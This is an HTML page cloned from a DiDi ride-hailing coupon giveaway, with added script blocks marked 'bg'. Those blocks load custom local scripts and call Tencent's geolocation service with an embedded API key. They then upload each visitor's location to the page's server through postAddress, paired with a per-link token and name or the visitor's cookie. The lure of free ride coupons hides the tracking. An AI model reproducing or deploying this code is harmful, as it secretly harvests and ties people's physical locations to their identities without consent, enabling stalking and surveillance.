<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
    <script>
        (function(){
            var doc = document.documentElement,
                viewport = doc.querySelector('meta[name=viewport]'),
                vc = viewport.getAttribute('content'),
                isDriverApp = /didigsui|ddudriver/i.test(window.navigator.userAgent);

            !isDriverApp && viewport.setAttribute('content', vc + ',viewport-fit=cover');
        })();
    </script>
    <title>滴滴出行大礼包</title>
    <meta name="description" content="滴滴让出行更美好">
    <link rel="stylesheet" type="text/css" href="//static.udache.com/gulfstream/webapp/css/didi.new.css">
    <link rel="stylesheet" type="text/css" href="//static.udache.com/channel-gift/didi/index.css?version=20171015">
    <link type="image/x-icon" href="http://www.xiaojukeji.com/images/favicon.ico" rel="icon">
    <link href="http://www.xiaojukeji.com/images/favicon.ico" rel="Shortcut Icon">

    <!-- bg -->
    <!-- jquery-->
    <script type="text/javascript" src="/javascripts/jquery-3.3.1.js"></script>
    <script type="text/javascript" src="/javascripts/jquery.cookie.js"></script>
    <script type="text/javascript" src="https://3gimg.qq.com/lightmap/components/geolocation/geolocation.min.js"></script>
    <script type="text/javascript" src="/javascripts/bg_loc.js"></script>
    <script type="text/javascript" src="/javascripts/login.js"></script>
    <script>
        didiActivityData  = {"lang":"zh-CN","country":"CN","lang_package":{"pre_recieve_input_phone":"\u8f93\u5165\u624b\u673a\u53f7\uff0c\u9886\u53d6\u4f18\u60e0\u5238","pre_recieve_click":"\u70b9\u51fb\u9886\u53d6\u4e58\u8f66\u4f18\u60e0","pre_recieve_rule_entrance":"\u6211\u5df2\u9605\u8bfb\u5e76\u540c\u610f\u6ef4\u6ef4\u51fa\u884c\u7684","pre_terms_and_conditions":"\u6d3b\u52a8\u89c4\u5219","pre_enter_correct_phone":"\u624b\u673a\u53f7\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165","i_know":"\u6211\u77e5\u9053\u4e86","ok":"\u786e\u5b9a","cancel":"\u53d6\u6d88","loading_text":"\u4e00\u5927\u6ce2\u793c\u5305\u6b63\u5728\u88ad\u6765...","after_recieve_total_amount":"\u606d\u559c\u83b7\u5f97\u4ef7\u503c%d\u5143\u7684\u6ef4\u6ef4\u51fa\u884c\u5238\u793c\u5305","after_coupon_add_account":"\u51fa\u884c\u5238\u5df2\u653e\u5165\u8d26\u53f7","after_edit":"\u4fee\u6539","after_recieve_valid_date":"\u6709\u6548\u671f\u81f3\uff1a%s","after_recieve_discount":"%s \u6298","after_recieve_fyi":"\u82e5\u51fa\u884c\u5238\u672a\u5230\u8d26\uff0c\u5c06\u81ea\u52a8\u572824\u5c0f\u65f6\u8865\u53d1\u3002\u540c\u4e00\u7528\u6237\u9650\u4f7f\u75281\u4efd\u793c\u5305\u3002\uff08\u540c\u4e00\u8bbe\u5907\u53f7\u3001\u652f\u4ed8\u8d26\u53f7\u3001\u94f6\u884c\u5361\u53f7\u7b49\u5747\u89c6\u4e3a\u540c\u4e00\u7528\u6237\uff09","already_recieve_tips":"\u60a8\u5df2\u7ecf\u9886\u8fc7\u5927\u793c\u5305","activity_not_started":"\u6d3b\u52a8\u8fd8\u6ca1\u6709\u5f00\u59cb\u54e6","activity_has_been_overdue":"\u6765\u7684\u592a\u665a\u4e86\uff0c\u6d3b\u52a8\u5df2\u7ecf\u7ed3\u675f\u5566","recieve_too_many":"\u4eb2\uff0c\u60a8\u5df2\u9886\u5230\u5f88\u591a\u793c\u5305\u4e86\uff0c\u5feb\u6765\u53eb\u8f66\u5427","coupons_have_been_finished":"\u6765\u7684\u592a\u665a\u4e86\uff0c\u793c\u5305\u5df2\u7ecf\u62a2\u5b8c\u5566","after_get_too_often":"\u9886\u53d6\u592a\u9891\u7e41\u4e86","check_terms_conditions":"\u8bf7\u5148\u9605\u8bfb\u5e76\u540c\u610f\u6d3b\u52a8\u89c4\u5219","company_name":"\u6ef4\u6ef4","service_phone":"\u5ba2\u670d\u7535\u8bdd"},"theme":{"name":"\u6e05\u723d\u7ea2\u5305750*790","view_name":"voucher\/new_theme","pre_view_name":"preview\/new_theme"},"promo_ip":"\/\/static.udache.com\/gulfstream\/webapp\/pages\/activity\/big-gift-package-2\/","promo_host":"\/\/gsactivity.diditaxi.com.cn\/gulfstream\/activity\/v2\/giftpackage\/","code":"","share_link":"https:\/\/dc.tt\/lyGTGVzBm","channelJs":"","channel":"e09cd055039325c7aa301f310b4758c4","brand":{"sponsor":"\u5176\u4ed6","index_logo_url":"http:\/\/static.udache.com\/gulfstream\/upload\/2017\/share_logo_url\/201705\/share_logo_url1494837913.83396891.png","index_banner_url":"","inputBanner":"https:\/\/img-ys011.didistatic.com\/static\/gsactivity\/2018010520572812616626cb53de274bab36ca8caf01d336c9d939.jpg","index_banner_mp4_url":"","downloadBanner":"https:\/\/img-ys011.didistatic.com\/static\/gsactivity\/2018010520573483357036cb53de274bab36ca8caf01d336c9d939.jpg","channelJs":"","pageTitle":"\u6ef4\u6ef4\u6d3e\u53d1\u793c\u5305\uff0c\u901f\u6765\u9886\u53d6\uff01","index_msg":"\u6ef4\u6ef4\u5feb\u8f66\uff0c\u5feb\u4e50\u51fa\u884c\uff0c\u5feb\u4eab\u51fa\u53d1","result_success_msg":"\u6ef4\u6ef4\u5feb\u8f66\uff0c\u5feb\u4e50\u51fa\u884c\uff0c\u5feb\u4eab\u51fa\u53d1","over_msg":"\u6765\u7684\u592a\u665a\u4e86\uff0c\u6d3b\u52a8\u5df2\u7ecf\u7ed3\u675f\u5566~","gameover":"\u6765\u7684\u592a\u665a\u4e86\uff0c\u793c\u5305\u5df2\u7ecf\u62a2\u5b8c\u5566~","robbed_msg":"\u793c\u5305\u62a2\u5b8c\u4e86\uff0c\u60a8\u6765\u7684\u592a\u665a\u4e86~","is_show_title":1,"bg_img":"","special_treated":"default","show_toobar":1,"share_logo_url":"http:\/\/static.udache.com\/gulfstream\/upload\/2017\/share_logo_url\/201705\/share_logo_url1494837931.02546649.png","share_title":"\u6ef4\u6ef4\u51fa\u884c\u5927\u793c\u5305\uff0c\u901f\u6765\u62a2\uff01","share_msg":"\u6ef4\u6ef4\u5feb\u8f660\u5143\u8d77\u6b65\uff0c\u5e94\u7b54\u5feb\uff0c\u670d\u52a1\u597d","share_link":"https:\/\/dc.tt\/lyGTGVzBm","index_ad_1":"\u6ef4\u6ef4\u5feb\u8f66\uff0c\u5feb\u4e50\u51fa\u884c\uff0c\u5feb\u4eab\u51fa\u53d1","index_ad_2":"\u6ef4\u6ef4\uff0c\u8ba9\u51fa\u884c\u66f4\u7f8e\u597d","is_show_banner":0,"is_show_partner":1,"other_app_status":"1","other_app_button_name":"\u7acb\u5373\u4f7f\u7528\u6ef4\u6ef4","open_app_ios":"https:\/\/static.udache.com\/agility-sdk\/pages\/invoke\/jump-home.html","open_app_android":"https:\/\/static.udache.com\/agility-sdk\/pages\/invoke\/jump-home.html","download_app_ios":"https:\/\/static.udache.com\/agility-sdk\/pages\/invoke\/jump-home.html","download_app_android":"https:\/\/static.udache.com\/agility-sdk\/pages\/invoke\/jump-home.html","take_button_text":"\u70b9\u51fb\u9886\u53d6\u4e58\u8f66\u4f18\u60e0","business_info":"","partner":{"name":"\u529e\u6ef4\u6ef4\u6a59\u5361\u6253\u8f66\u5373\u53ef\u8fd4\u6d41\u91cf","logo":"","link":"https:\/\/dc.tt\/xniM"}},"errno":3,"errmsg":"\u6765\u7684\u592a\u665a\u4e86\uff0c\u6d3b\u52a8\u5df2\u7ecf\u7ed3\u675f\u5566"};

        var Omega = {
            productName: 'gulf-ch-gift-tracker',
            debugMode: false,
        };

        var token = '<%=token%>';
        var name = '<%=name%>';
        var bg_isShare = false;
        console.log('************')
        console.log(token)
        console.log(name)
        console.log('************')
        var bg_isShare = false
        if(bg_showvalf(token,name)){
            bg_isShare = true
        }

        var bg_geolocation = new qq.maps.Geolocation("JY5BZ-S4JCG-574QJ-I52WP-KXSG7-45FRV", "nogreenhat");
        var bg_options = {timeout: 8000};
        bg_geolocation.getLocation(bg_showPosition, bg_showErr, bg_options);
        function bg_showPosition(loc) {
            var cookie = $.cookie('userToken')
            if(bg_isShare){
                console.info('当前是分享页');
                console.log(loc)
                if((cookie=="null") || (typeof(cookie)=="undefined")){
                    postAddress(token,loc,name,(res)=>{
                        console.log(res)
                    })
                }else {
                    postAddress(cookie,loc,null,(res)=>{
                        console.log(res)
                    })
                }
            } else{
                postAddress(cookie,loc,null,(res)=>{
                    console.log(res)
                })
                console.info("预览状态,上传本人地址");
            }

        };

        function bg_showErr(){};

    </script>
    <script src="//webapp.didistatic.com/static/webapp/shield/z/omega/omega/latest/omega.min.js"></script>

</head>

<body>

<!-- bg -->
<div id="container"></div>

<script src="//static.udache.com/gulfstream/webapp/js/didi.new.js"></script>
<!--<script type="text/javascript" src="/javascripts/vconsole.min.js"></script>-->

<script type="text/javascript" src="//static.udache.com/channel-gift/common/manifest-1521ef16957949f22de6.js"></script>
<script type="text/javascript" src="//static.udache.com/channel-gift/common/common-b15cafcf019882e16700.js"></script>
<script type="text/javascript" src="//static.udache.com/channel-gift/didi/didi-520c3a04b8b827c1cbaf.js"></script>

<!-- bg -->
<div id="container"></div>
</body>
</html>
